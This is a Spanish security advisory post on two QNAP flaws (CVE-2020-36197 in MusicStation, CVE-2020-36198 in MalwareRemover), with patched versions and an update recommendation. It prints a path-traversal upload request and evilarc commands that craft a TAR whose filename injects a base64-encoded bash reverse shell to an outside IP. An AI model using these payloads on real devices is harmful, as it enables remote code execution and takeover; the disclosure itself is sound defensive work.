Nuevas vulnerabilidades en aplicaciones de QNAP

La combinación de dos vulnerabilidades en las aplicaciones MusicStation y MalwareRemove de QNAP pueden permitir ejecución de código remoto pre-autenticado.

Un investigador de seguridad de la empresa Shielder, polict, ha hecho público un reporte de dos vulnerabilidades que afectan a aplicaciones de QNAP. Una de ellas es MusicStation, que no se encuentre instalada de serie, pero tiene más de cinco millones de instalaciones a través de QNAP App Center.

MusicStation cuenta con una API para cargar carátulas de un álbum de música en el dispositivo. Esta API recibe un arttype desde una petición HTTP. Tras verificar que incluya un fichero con una extensión de imagen válida (JPEG, JPG, PNG), añade al nombre del fichero un identificador aleatorio usando la función uniqid de PHP y lo almacena en el dispositivo. Una petición con un arttype preparado puede controlar la ruta donde se va a almacenar el fichero, ya que la aplicación se ejecuta por defecto con privilegios de root. La siguiente prueba de concepto ejemplifica una petición maliciosa.

POST /musicstation/api/upload.php?arttype=../../../../../../tmp/polict HTTP/1.1
Host: qnap.local:8080
Content-Type: multipart/form-data; boundary=---------------------------41226441225792835292630842014
Connection: close

-----------------------------41226441225792835292630842014
Content-Disposition: form-data; name="singleFile"; filename="a.jpg"
Content-Type: text/plain

any content
-----------------------------41226441225792835292630842014--

La respuesta HTTP devuelve en el campo fid la ruta del fichero codificado en Base64. Para este caso tras descodificar el campo obtendríamos ../../../../../../tmp/polict_5ee28e9a02e39.jpg, que se resolvería como /tmp/polict_5ee28e9a02e39.jpg. El contenido de este fichero sería la cadena «any content».

La vulnerabilidad asociada, catalogada como CVE-2020-36197 y con una puntuación CVSS de 7.1 ha sido corregida en las siguientes versiones:

QTS 4.5.2: Music Station 5.3.16 y posterior.
QTS 4.3.6: Music Station 5.2.10 y posterior.
QTS 4.3.3: Music Station 5.1.14 y posterior.
QuTS hero h4.5.2: Music Station 5.3.16 y posterior.
QuTScloud c4.5.4: Music Station 5.3.16 y posterior.

La siguiente vulnerabilidad se encuentra en la utilidad MalwareRemover. Esta aplicación ejecuta un escáner de malware a través de «cronjobs». Se encuentra de serie en QNAP, y no se puede eliminar desde QNAP App Center por motivos de seguridad. En las versiones afectadas, permite que un archivo TAR manipulado desencadene la ejecución de comandos a través de cadenas suministradas por un atacante. La siguiente prueba de concepto muestra cómo crear uno de estos ficheros con la herramienta evilarc.

$ git clone https://github.com/ptoomey3/evilarc
Cloning into 'evilarc'...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12
Unpacking objects: 100% (12/12), done.
$ cd evilarc/
$ echo -n 'bash -i >& /dev/tcp/172.16.42.114/8383 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==
$ touch ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'
$ ./evilarc.py -f a.tar -o unix -d0 -p "/tmp/polict" ';echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#'
Creating a.tar containing /tmp/polict/;echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNDIuMTE0LzgzODMgMD4mMQ==|base64${IFS}-d|bash;#

Un atacante puede aprovechar esta vulnerabilidad, a la que se le ha asignado el identificador CVE-2020-36198 (CVSS de 6.7), para escalar privilegios y ejecutar código arbitrario con privilegios de administrador. El fallo ha sido corregido en la versión QTS 4.4.x: Malware Remover 4.6.1.0 y posterior. Los QNAP ejecutando la versión 3 de MalwareRemover no se han visto afectados.

El uso de dispositivos NAS para almacenar copias de seguridad, además de prevenir el impacto del ransomware, implica que hay que dedicar especial importancia a asegurar estos equipos. Desde Hispasec Sistemas recomendamos actualizar las aplicaciones mencionadas para mitigar ambas vulnerabilidades.

Más información:
Shielder – QNAP MusicStation / MalwareRemover Pre-Auth Remote Code Execution

La entrada Nuevas vulnerabilidades en aplicaciones de QNAP se publicó primero en Una al Día.

Compartir